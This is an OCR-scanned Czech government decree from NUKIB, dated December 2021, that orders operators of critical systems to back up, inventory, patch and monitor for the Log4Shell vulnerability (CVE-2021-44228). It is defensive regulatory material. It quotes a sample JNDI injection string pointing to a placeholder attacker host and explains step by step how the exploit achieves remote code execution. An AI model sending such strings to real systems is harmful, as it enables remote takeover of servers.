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VEREJNA VYHLASKA
OPATRENi OBECNE POVAHY

Narodni Grad pro kybernetickou a informacni bezpecnost se sidlem Brno, Mucednicka 1125/31,
PSC 616 00 (dale jen ,Urad“) jako ptislusny ustiedni spravni Gfad podle § 22 pism. b) zakona
€. 181/2014 Sb., o kybernetické bezpecnosti a o zméné souvisejicich zakonl (zakon
o kybernetické bezpecnosti), ve znéni pozdéjsich predpisti (dale jen ,zakon o kybernetické
bezpecnosti®),

stanovuje

na zakladé § 13 odst. 3 zdkona o kybernetické bezpecnosti a postupem podle § 15 zakona
o kybernetické bezpecnosti a § 171, § 173 a § 174 zakona ¢. 500/2004 Sb., spravniho fadu, ve
znéni pozdéjsich predpisi, toto reaktivni opatfeni k zabezpeceni informacnich systéml nebo
siti a sluzeb elektronickych komunikaci pred kybernetickym bezpecnostnim incidentem.
Reaktivni opatieni se sklada z nasledujicich tukont, které jsou povinné osoby podle § 3 pism. c)
az f) zakona o kybernetické bezpecnosti povinny ve stanovené lhiité provést:

1. Vytvorit offline zalohy aktiv, ktera jsou kriticka pro fungovani organizace, a zkontrolovat
jejich konzistenci. Zaroven provést kontrolu dostupnosti a konzistence poslednich zaloh
téchto aktiv vytvofenych pred 1. prosincem 2021.

Tento ukon je potieba provést neprodlené od uUcinnosti tohoto reaktivniho opatfeni a to
s nejvyssi prioritou.

2. Provést inventuru aktiv v systému a vyhledat ta aktiva, ktera obsahuji komponenty Apache
Log4j 2 ve verzich 2.0-2.14.1.

2.1. U aktiv, kterd neumoznuji provést konfiguracni zmény Apache Logdj 2 nebo ktera
nejsou ve plné spravé organizace, kontaktovat dodavatele nebo vyrobce téchto aktiv
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nebo vyhledat vyjadieni téchto dodavatell ke zranitelnosti a provést nebo zohlednit
jimi vydané instrukce.

2.2. U aktiv, kde je moiné provést konfiguracni zmény komponenty Apache Log4dj 2
postupovat podle ukont 3. nebo 4. tohoto reaktivniho opatfeni.

Tento ukon je potieba provést neprodlené od ucinnosti tohoto reaktivniho opatreni.

3. S nejvyssi prioritou u aktiv dostupnych ze sité Internet provést u aktiv obsahujicich
komponentu Apache Logdj 2 verze 2.0-2.14.1 kroky smétujici ke zmirnéni nasledkd zneuziti
(tj. mitigaci) zranitelnosti CVE-2021-44228.

3.1. U aktiv, v rdmci kterych je moiny pristup ke komponentné Apache Logdj 2, provést
aktualizaci Apache Log4j 2 na verzi 2.15.0 RC2 nebo vyssi, pokud je to mozné.

3.2. V ostatnich pripadech, zejména pokud aktualizace neni moina, omezit zranitelné
funkce Apache Log4j 2 a zajistit v ramci ochrannych technologii aktiva (firewall, WAF,
IPS adalSich) aktualizaci signatur a detekcnich pravidel pro mitigaci zranitelnosti
CVE-2021-44228, pokud je vyrobce dané technologie poskytuje.

Tento ukon je potfeba provést neprodlené od identifikace aktiva obsahujiciho komponentu
Apache Logd4j 2 ve verzich 2.0-2.14.1.

4. Pokud mitigace podle ukonu 3. neni mozna neprodlené, provést s ohledem na kritickou
zavaznost zranitelnosti zhodnoceni alternativnich moZnosti reSeni, zejména omezeni
odchozi komunikace zahajené ze strany systému do Internetu nebo Uplné odpojeni systému
od sité, a tato fesSeni co nejdiive provést.

Zhodnoceni alternativnich moznosti feSeni v pfipadé nemoznosti provést mitigaci podle
ukonu 3. je potieba provést neprodlené od identifikace aktiva obsahujiciho komponentu
Apache Logdj 2 verze 2.0-2.14.1.

5. U aktiv obsahujicich komponentu Apache Logdj 2 provést kontrolu, zda jiz nedoslo ke
kompromitaci skrze zranitelnost CVE-2021-44228. V ramci kontroly provést minimalné
nasledujici kroky:

5.1. Kontrola logli generovanych zranitelnou knihovnou — provést vyhledani fetézcu
obsahujicich volani Java Naming and Directory Interface v lozich systému generovanych
komponentou Log4j a v zaznamech firewallu ¢i WAF tohoto aktiva.

Kontrolu logl je potieba provést nejdfive za obdobi od 1. prosince 2021 do data
ucinnosti tohoto reaktivniho opatreni a nasledné v pravidelnych pfimérenych
intervalech do provedeni ukont podle bodt 2.1., 3. nebo 4.

5.2. Monitorovat sitovy provoz systému na anomalie, zejména odchozi komunikaci do
internetu protokolem LDAP nebo RMI, a odchozi provoz zahajeny ze strany serveru,
pokud se jedna v kontextu Gcelu serveru o nestandardni chovani.
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Monitoring je potieba provadét kontinualné do provedeni tkont podle bodi 2.1., 3.
nebo 4.

5.3. V ptipadé pozitivniho nalezu v bodu 5.1. nebo 5.2. provést komplexni audit vSech
relevantnich aktiv.

Jednotlivé Cinnosti v ramci tkonu 5. je potieba zahdjit neprodlené.

6. Nahlasit Ufadu aktualni rozsah vefejnych DNS zaznam@ nebo vefejnych IP adres, nebo
Uradu oznamit, ze dfive nahlasené zaznamy a adresy jsou aktualni.

Tento ukon je potieba provést nejpozdéji do 31. prosince 2021.

Toto reaktivni opatreni jako celek, tj. vSechny ukony v ném uloZené, je potfeba provést
v souladu se lhGtami stanovenymi pro jednotlivé tikony, nejpozdéji vSak do dne 31. ledna 2022.

Organy a osoby uvedené v § 3 pism. c) az f) zakona o kybernetické bezpecnosti jsou povinny
oznamit Ufadu provedeni reaktivniho opatfeni a jeho vysledek bez zbyte¢ného odkladu.
Oznameni provedeni tohoto reaktivniho opatieni provedte tedy aZ po realizaci vSech ukona,
a to bez zbytecného odkladu, nejpozdéji vSak do 7. inora 2022.

Organy a osoby uvedené v § 3 pism. c) az f) zakona o kybernetické bezpecnosti, které nékteré
vySe uvedené ukony jiz do dne ucinnosti tohoto reaktivniho opatieni provedly, nemusi tyto
konkrétni ukony provadét opakované. Informaci o provedeni jednotlivych tkonl a zplisobu
jejich provedeni tyto organy a osoby oznami Ufadu v ramci ozndmeni provedeni tohoto
reaktivniho opatieni.

Organy a osoby, které se stanou povinnymi osobami dle § 3 pism. c) az f) zakona o kybernetické
bezpecnosti po dni ucinnosti tohoto reaktivniho opatieni, u nichz je toto reaktivni opatfeni
relevantni, musi vSechny vyse uvedené ukony splnit do jednoho mésice od svého urceni ¢i
identifikace a poté bez zbyteéného odkladu oznamit Uradu vysledek jeho provedeni.

ODUVODNENI

V ptipadé vyskytu kybernetického bezpecnostniho incidentu jej neprodlené hlaste Vladnimu
CERT prostiednictvim standardnich zpGsobi?!, pfipadné vyuiijte pohotovostni linku na
telefonnim cisle +420 725 502 878.

1. Narodni ufad pro kybernetickou a informacni bezpecnost jako Ustfedni orgdn statni
spravy podle § 2 bodu 16 zdkona ¢. 2/1969 Sb., o zfizeni ministerstev a jinych Ustfednich
organ( statni spravy Ceské republiky, ve znéni pozdéjsich predpisl, a podle § 22 pism. b)
zakona o kybernetické bezpeénosti, dospél k vydani tohoto opatfeni obecné povahy za

1 souhrnné informace: https://www.nukib.cz/cs/kyberneticka-bezpecnost/vladni-cert/hlaseni-incidentu/
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ucelem zabezpeceni informacnich systému nebo siti a sluzeb elektronickych komunikaci
pred kybernetickym bezpecnostnim incidentem tak, jak je uvedeno ve vyroku tohoto
opatfeni obecné povahy. K vydani tohoto opatreni obecné povahy dochdzi na zakladé
toho, Ze dne 9. prosince 2021 byla zvefejnéna informace o zranitelnosti knihovny Apache
Log4j 2 s identifikdtorem CVE-2021-442282 a oznadovana jako , Log4Shell”, vyskytujici se
na Siroce rozsifené komponenté Logdj obsazené v celé fadé systéml vytvorenych
v programovacim jazyce Java. Zranitelnost postihuje potencialné velké mnoiZstvi
komercnich iopen-source systému, které pouzivaji Logd4j ve verzich 2.0-2.14.1
k zaznamenavani udalosti v systému (tj. logovani). Zranitelnost spociva ve zneuZitelné
intepretaci zaznamenanych udalosti, kdy jsou specifické retézce interpretovany jako
pfikaz po uloZeni do logu. Tato zranitelnost byla v rdmci Common Vulnerability Scoring
System?® hodnocena hodnotou 9.8 a nasledné pfehodnocena na 10.0, pficemZ 10.0 je
maximalni hodnota, které mlze hodnoceni zranitelnosti dosahnout. Pro zneuziti této
zranitelnosti totiz staci naplnéni téchto podminek:

* na systému je spustén software, ktery k logovani vyuzivd komponentu Logdj ve
verzi 2.0-2.14.1, a zaroven

e systém je dostupny prostifednictvim sité a umoZiuje pfijem textovych fetézcl
libovolnym zplGsobem pres libovolny protokol.

Tyto informace jsou v rdmci spisu evidovdany jako pfiloha €. j. 10996/2021-NUKIB-E/350.

2. Vdusledku zneutziti této zranitelnosti mize Utocnik jednoduse provadét neopravnéné
¢innosti, tj. ziskat s minimem usili i plnou kontrolu nad systémem organizace.
V soucasné dobé Utad eviduje fadu pokust o skenovani systémdl i aktivni zneuZivéni této
zranitelnosti, stejné tak jsou tyto cCinnosti hlaseny i mezinarodné a jejich vyskyt narusta
exponencialni rychlosti.*

3. ZvysSe uvedenych divod( a s ohledem na nutnost pfistoupit k feSeni problematické
situace nejen vic¢i konkrétnimu orgdnu nebo osobé nebo skupiné organi a osob podle
zékona o kybernetické bezpeé&nosti pfistoupil Ufad k vydani opatfeni obecné povahy pro
blize neuréeny okruh orgdnl nebo osob postupem podle § 13 odst. 3 zdkona
o kybernetické bezpecnosti.

4. Toto opatieni obecné povahy uklada podle § 11 odst. 3 pism. b) zakona o kybernetické
bezpecnosti provedeni reaktivniho opatfeni uvedeného ve vyroku vSem spravcim
a provozovatelim informacniho nebo komunikaéniho systému kritické informacni

2 dostupné na https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228, nebo na
https://nvd.nist.gov/vuln/detail/CVE-2021-44228

3 dostupné na https://www.first.org/cvss/

4 dostupné napf. na https://blog.checkpoint.com/2021/12/13/the-numbers-behind-a-cyber-pandemic-detailed-
dive/?fbclid=IwAR1ZGSFmyoqgzurwlkCLUb1vfeO0DJbdUKb3fG9QgfFQFYa-QYeWHhPfvOiY
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infrastruktury, vyznamného informacniho systému nebo informacniho systému
zakladni sluzby.

5. V pripadé poskytovateld sluzby elektronickych komunikaci, subjektd zajistujicich sité
elektronickych komunikaci a organd nebo osob zajistujicich vyznamné sité podle zdkona
o kybernetické bezpecnosti plati, Ze opatieni obecné povahy podle § 11 odst. 3 pism. a)
zakona o kybernetické bezpecnosti ukladda témto osobdam povinnost provedeni
reaktivniho opatfeni pouze v pripadé vyhlaseni stavu kybernetického nebezpeci nebo
nouzového stavu. Nouzovym stavem, o kterém hovofi § 11 odst. 3 pism. a) zdkona
o kybernetické bezpecnosti, je vSak myslen toliko nouzovy stav vyhlaseny v ndvaznosti na
stav kybernetického nebezpeéi vyhlaovany feditelem Utadu podle § 21 zékona
o kybernetické bezpecnosti (tj. na situaci, kdy je nouzovy stav vyhlasen z dlvodu, Ze
ohrozeni bezpecnosti informaci v informacnich systémech nebo bezpecnosti sluzeb
anebo bezpecnosti a integrity siti elektronickych komunikaci neni mozné odvratit v rdmci
stavu kybernetického nebezpeci), nikoli kazdy nouzovy stav. Za soucasné situace se tedy
povinnost osob podle § 3 pism. a) a b) zdkona provést reaktivni opatieni neuplatni.

6. Reaktivni opatieni, jak je specifikovdno ve vyroku tohoto opatfeni obecné povahy,
obsahuje sadu ukond, jejichz provedeni je nezbytné k zabezpeceni informacnich systémi
nebo siti a sluzeb elektronickych komunikaci pred kybernetickym bezpecnostnim
incidentem. S ohledem na povahu zranitelnosti nejsou aktudlné znamy dostatecné
konkrétni informace zcela zaru¢eného a jednoduchého postupu k identifikaci této
zranitelnosti v systému nebo postupu jeji opravy. JelikoZ v tuto chvili neni ani zfejmé
kolika systém{ se zranitelnost tyka a nemusi byt mozné bez informaci od dodavatele nebo
vyvojaru zjistit, zda aktiva komponentu Log4j obsahuiji, jsou ve vyroku uvedené obecné
ukony jedinymi dostatecné konkrétnimi kroky.

7. Kukonu 1. — Zalohovani potencidlné zranitelného aktiva je nejefektivnéjsi zplsob jak
predejit ztraté dat v pripadé napr. ransomware Utoku a prestozZe je tato ¢innost béznou
soucasti provadéni bezpeénostnich opatfeni podle vyhlasky ¢. 82/2018 Sb.,
o bezpecnostnich opatfenich, kybernetickych bezpecnostnich incidentech, reaktivnich
opatfenich, ndlezitostech podani v oblasti kybernetické bezpecnosti a likvidaci dat
(vyhlaska o kybernetické bezpecnosti), je vtomto pripadé potieba provést preventivni
offline zalohy aktiv, kterd jsou pro organizaci kriticka. Zaroven je potfeba provést kontrolu
dostupnosti a konzistence zdloh téchto aktiv, pokud tyto zalohy byly vytvoreny pred
1. prosincem 2021, tedy pred zverejnénim zranitelnosti. Tento postup muze velmi

vyrazné prispét k tomu, Ze v pfipadé potieby obnovy budou zalohy skutecné funkéni.

8. Kdukonu 2. — Provedeni inventury aktiv systému v ramci organizace je nutné pro
identifikaci komponent obsahujicich danou zranitelnost. S ohledem na Siroké vyuziti
komponenty Log4j je potfeba mit na paméti, Ze se mize jednat o celou fadu zafizeni,
napfiklad také io specializovanou techniku, sitové prvky a dalsi aktiva. K vyhledani
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vyjadfeni vyrobcl ke zranitelnosti CVE-2021-44228 lIze vyuzit napfiklad pribéiné
aktualizované seznamy spravované NSCS-NL nebo CISA:

- https://github.com/NCSC-NL/log4shell/blob/main/software/README.md

- https://github.com/cisagov/log4j-affected-db

K detekci zranitelnych systémuU lze téZz provést aktivni interni ¢i externi sken aktiv.
K tomuto Ulelu je bezpeénosti komunitou vyvijeno a publikovano Fada ndstrojd, Urad
ovSsem upozoriiuje, Ze tyto ndastroje nebyly testovany a je jejich pouiiti je zcela na
zvaieni organizace. Za priklady lIze uvést napf. moduly pro testovaci nastroje Nessus,
BurpSuite, nebo externi sken spole¢nosti Huntress:

- https://portswigger.net/bappstore/b011be53649346dd87276bcadlce8e8f

- https://community.tenable.com/s/question/0D5f200004yOIkICAC/nessus-scan-on-
selected-capabilities-shell

- https://log4shell.huntress.com/

9. Kukonu 3. — V pfipadé plného pfistupu k aktivu, které vyuzivd komponentu Logdj, je
potfeba provést opravu zranitelnosti ke znemoznéni Utoku. Opravu Ize provést:
e aktualizaci na verzi 2.15 RC2, nebo vyssi, nebo

e odstranénim zranitelné tfidy JndiLookup z cesty:
zip -q -d log4j-core-*.jar
org/apache/logging/log4j/core/lookup/IndiLookup.class

pokud aktualizace neni z od(ivodnitelnych pfipadd mozna.

Technické detaily mitigace zranitelnosti a postupy jejich aplikace lze téz nalézt na
oficidlnich strankach Apache Foundation:

https://logging.apache.org/logdj/2.x/security.htmI#CVE-2021-44228

10. K ukonu 4. — Jelikoz zranitelnost je spojena s vysokou hrozbou neopravnéného pfistupu,
coz muze v dlsledku vést k celkové kompromitaci ¢i nedostupnosti systému, je treba
zvazit vSechny mozné dopady zneuziti zranitelnosti. V pfipadé, Ze tyto dopady prevysi
akceptovatelnou miru rizika je tfeba zvazit omezeni odchoziho spojeni do internetu.

11. K ukonu 5. — Kvyvolani efektu zranitelnosti dochdzi v momenté zaslani zdznamu
obsahujiciho textovy fetézec interpretovany v jazyce Java jako JNDI lookup do logu Log4j,
napf. "${jndi:1ldap://adresa-utocnika:port/prikaz}". V soucasné dobé jsou
identifikovany celkem Ctyfi pouzivané metody — jndi:ldap, jndi:ldaps, jndi:dns a jndi:rmi.
Nalez téchto fetézcl vlogu aplikace vytvofené komponentou Log4dj znaci pokus
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0 zneuiiti zranitelnosti, Uspésné provedeny pfikaz ovSem nebude zaznamenan.
Kontrolu tedy doporucujeme provést na firewallu ¢i WAF, ktery zaznamendva externi
pfichozi poZzadavky pred jejich zpracovanim v komponenté Logdj. Potencialni Uspésné
zneuZiti zranitelnosti lze zjistit porovndnim logu z firewallu a loglh vytvorenych Log4j
a identifikaci zaznam( obsahujici zdvadné Fetézce, které v logu Log4j chybi. Ufad oviem
upozornuje, Ze vzhledem k neomezenym zplUsobim obfuskace nemusi byt Zadné
vyhledani na bazi regularnich vyrazd spolehlivé a negativni vysledek neni zarukou.
K vyhledani fetézcl lze s aktudlnim stavem poznani vyuzit napfiklad pravidla a vzorce,
které publikoval analytik Florian Roth:

https://gist.github.com/Neo023x0/e4c8b03ff8cdflfa63b7d15db6e3860b

Priklady retézcli pouzivanych k utoklim Ize nalézt napt. na:

https://gist.github.com/nathangthai/01808c569903f41a52e7e7b575caa890

12. K tkonu 6. — Povinnost nahldsit Ufadu aktudlni rozsah vefejnych DNS zaznam( nebo
vefejnych IP adres je sice jiz nyni dobrovolnou soucasti hlaseni kontaktnich udaja, které
organy a osoby podle zakona o kybernetické bezpeénosti zasilaji Ufadu, nicméné v ramci
tohoto reaktivniho opatfeni je tento Ukon uloZen povinné, nebot se jednd o zakladni
informace, které jsou pro UFad, resp. vladni CERT, nezbytné pro fadny vykon jeho &innosti
spocivajicich v provddéni vyhledavani a hodnoceni vyskytu feSené zranitelnosti
a hodnoceni s ni souvisejicich hrozeb. Z tohoto dlivodu je potfeba mit tyto Udaje aktualni.
Tyto informace je potfeba zaslat Utadu, nejlépe pfimo na adresu cert.incident@nukib.cz.

13. Podrobnéjsi princip zranitelnosti a fungovani jejiho zneuziti ke vzdalenému spusténi kodu
je nasleduijici:

e systém obdrzi pozadavek obsahujici fetézec interpretovany v rozhrani Java
Naming and Directory Interface "jndi:ldap, jndi:ldaps, jdni:dns nebo jndi:rmi",
napf. "${jndi:1ldap://adresa-utocnika:port/prikaz}",

e aplikace pozadavek ulozi do logu,

e zranitelna funkce komponenty Log4j zpusobi, Ze fetézec v logu je vyhodnocen jako
legitimni ptikaz a dojde k jeho spusténi,

e server zasSle pozadavek na danou adresu Utocnika a jako odpovéd obdrzi Skodlivy
kdd pfipraveny v programovacim jazyku Java,

e kod se vlozi do béziciho procesu, ¢imz dojde k vykonani prikaz(.

14. Dalsimi vhodnymi ndstroji pro mitigaci a skenovdni mohou byt (s aktualnim stavem
poznani) také napf. nastroje uvedené zde:

- https://github.com/NCSC-NL/log4shell/tree/main/mitigation
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- https://github.com/NCSC-NL/log4shell/tree/main/scanning

Také v tomto pripadé viak Urad upozorfiuje, Ze tyto nastroje nebyly testovany a je jejich
poutiti je zcela na zvaZeni organizace.

15. Pro dalsi informace sledujte internetové stranky Uradu (https://www.nukib.cz/),

predevsim Infoservis Hrozeb a zranitelnosti https://www.nukib.cz/cs/infoservis/hrozby/.

16. Spravci a provozovatelé informacniho nebo komunikaéniho systému kritické informacni
infrastruktury, vyznamného informaéniho systému nebo informacéniho systému zakladni
sluzby podle zdkona o kybernetické bezpeénosti jsou povinni ozndmit Ufadu provedeni
reaktivniho opatfeni a jeho vysledek bez zbytecného odkladu. Nejzazsi lhdta pro
oznameni provedeni tohoto reaktivniho opatfeni a jeho vysledku je 7. inora 2022. Pokud
bude toto reaktivni opatieni provedeno jako celek nejpozdéji k 31. lednu 2022, bude
oznameni doruc¢ené do 7. Unora 2022 povaZzovano za oznameni bez zbyte¢ného odkladu.
Podle § 13 odst. 4 zdkona o kybernetické bezpecnosti stanovi naleZitosti oznameni
provadéci pravni predpis.

17. Podle § 33 odst. 2 vyhlasky o kybernetické bezpecnosti oznami zplsob provedeni
reaktivniho opatfeni a jeho vysledek dotéené orgdny a osoby ve formé uvedené na
internetovych strankach UFadu. Forma ozndmeni je uvedena zde:

https://www.nukib.cz/cs/kyberneticka-bezpecnost/regulace-a-kontrola/formulare/

18. Provedeni reaktivniho opatieni ozndmi dotéené organy a osoby Ufadu i v pfipadé, Ze
uloZené ukony jiz do dne ucinnosti tohoto reaktivniho opatreni provedly, a také v tom
pripadé, Ze vécné nebudou jednotlivé ukony reaktivniho opatfeni pro jejich informacni
systémy asluzby a sité elektronickych komunikaci relevantni (napf. prokazatelné
nepouzivaji systémy obsahujici komponentu Log4j, kterd je predmétem reaktivniho
opatieni). V takovém piipadé tyto organy a osoby oznami Ufadu diivody neprovedeni
reaktivniho opatreni.

19. Podle § 33 odst. 1 vyhlasky o kybernetické bezpecnosti jsou spravci a provozovatelé
informaéniho nebo komunikaéniho systému kritické informacni infrastruktury,
vyznamného informacéniho systému nebo informacniho systému zakladni sluzby, stejné
tak jako poskytovatelé digitdlnich sluzeb, kterym Ufad ulozil provést reaktivni opatieni,
povinni posoudit o¢ekdvané dopady reaktivniho opatfeni na informacéni a komunikacni
systém a na zavedend bezpecénostni opatfeni a vyhodnotit mozné negativni Ucinky
a stanovit zplsob rychlého provedeni tohoto reaktivniho opatreni, ktery minimalizuje
jeho moziné negativni Ucinky. Stejné tak jsou povinni urcit ¢asovy plan provedeni
reaktivniho opatreni.

Mucednicka 1125/31, 616 00 Brno

tel.: 541 110 777, e-mail: posta@nukib.cz, datova schranka: zzfnkp3, www.nukib.cz strana 8z 10


https://github.com/NCSC-NL/log4shell/tree/main/scanning
https://www.nukib.cz/
https://www.nukib.cz/cs/infoservis/hrozby/
https://www.nukib.cz/cs/kyberneticka-bezpecnost/regulace-a-kontrola/formulare/

20. Ufad upozorfiuje, e organy nebo osoby, které jsou povinny zavést bezpe¢nostni opatfeni

21.

22.

podle zakona o kybernetické bezpecnosti, v souvislosti s fizenim rizik podle § 5 odst. 1
pism. h) bod 3 vyhlasky o kybernetické bezpecnosti, pfi hodnoceni rizik a v planu zvladani
rizik zohledni opatfeni podle § 11 zdkona o kybernetické bezpecnosti. Jednim z téchto
opatfeni je i reaktivni opatieni podle § 13 odst. 3 zakona o kybernetické bezpecnosti.

Urad dale upozorfiuje, 7e v souladu s § 4 odst. 4 zdkona o kybernetické bezpeénosti jsou
organy a osoby uvedené v § 3 pism. c) aZ f) zakona o kybernetické bezpecnosti povinny
zohlednit pozadavky vyplyvajici z bezpecnostnich opatfeni pfi vybéru dodavatele pro
jejich informacni nebo komunikacni systém a tyto pozadavky zahrnout do smlouvy, kterou
s dodavatelem uzaviou. Za plnéni této povinnosti Ize povazovat napftiklad zasmluvnéni
fizeni zranitelnosti s danym dodavatelem. Zohlednéni pozadavk(l vyplyvajicich
z bezpecnostnich opatfeni podle véty prvni v mife nezbytné pro splnéni povinnosti podle
zakona o kybernetické bezpecnosti nelze povaZzovat za nezakonné omezeni hospodarské
soutéze nebo neodlvodnénou prekazku hospodarské soutézi.

V souvislosti s timto reaktivnim opatfenim se ve pfipadé technickych dotazl nebo dotazl
na obsah jednotlivych uloZzenych uUkonl prosim obracejte na cert.incident@nukib.cz.

V pfipadé medidlnich dotazi se prosim obracejte na tiskovou mluvéi Ufadu na
dotazy.media@nukib.cz. V pfipadé dalSich dotaz(, predevsim prdvni povahy, tykajicich se

reaktivniho opatfeni se prosim obracejte na regulace@nukib.cz.

POUCENI

Toto opatfeni obecné povahy se dorucuje postupem podle § 25 spravniho fadu verejnou
vyhladkou na Ufedni desce UFadu. Opatfeni obecné povahy podle § 14 zdkona o kybernetické
bezpecnosti nabyvd na zakladé § 15 odst. 1 zdkona o kybernetické bezpecnosti Ucinnosti
okamzikem jeho vyvéseni na Ufedni desce Ufadu. Ustanoveni & 172 spravniho fadu se nepouZije.
Na zakladé § 15 odst. 2 zakona o kybernetické bezpecnosti Ize k opatfeni obecné povahy
vydanému podle § 14 uplatnit pfipominky, a to ve lh(té 30 dni ode dne jeho vyvéseni na uredni
desce Utadu. Ufad mGZe na zakladé uplatnénych pfipominek opatfeni obecné povahy zménit
nebo zrusit.

Digitélné podepsal:

Ing. Karel Rehka

Narodni ufad pro kybernetickou a informacni
bezpecnost

Dne: 15.12.2021 14:38

NUKIB
Ing. Karel Rehka
reditel
elektronicky podepsano
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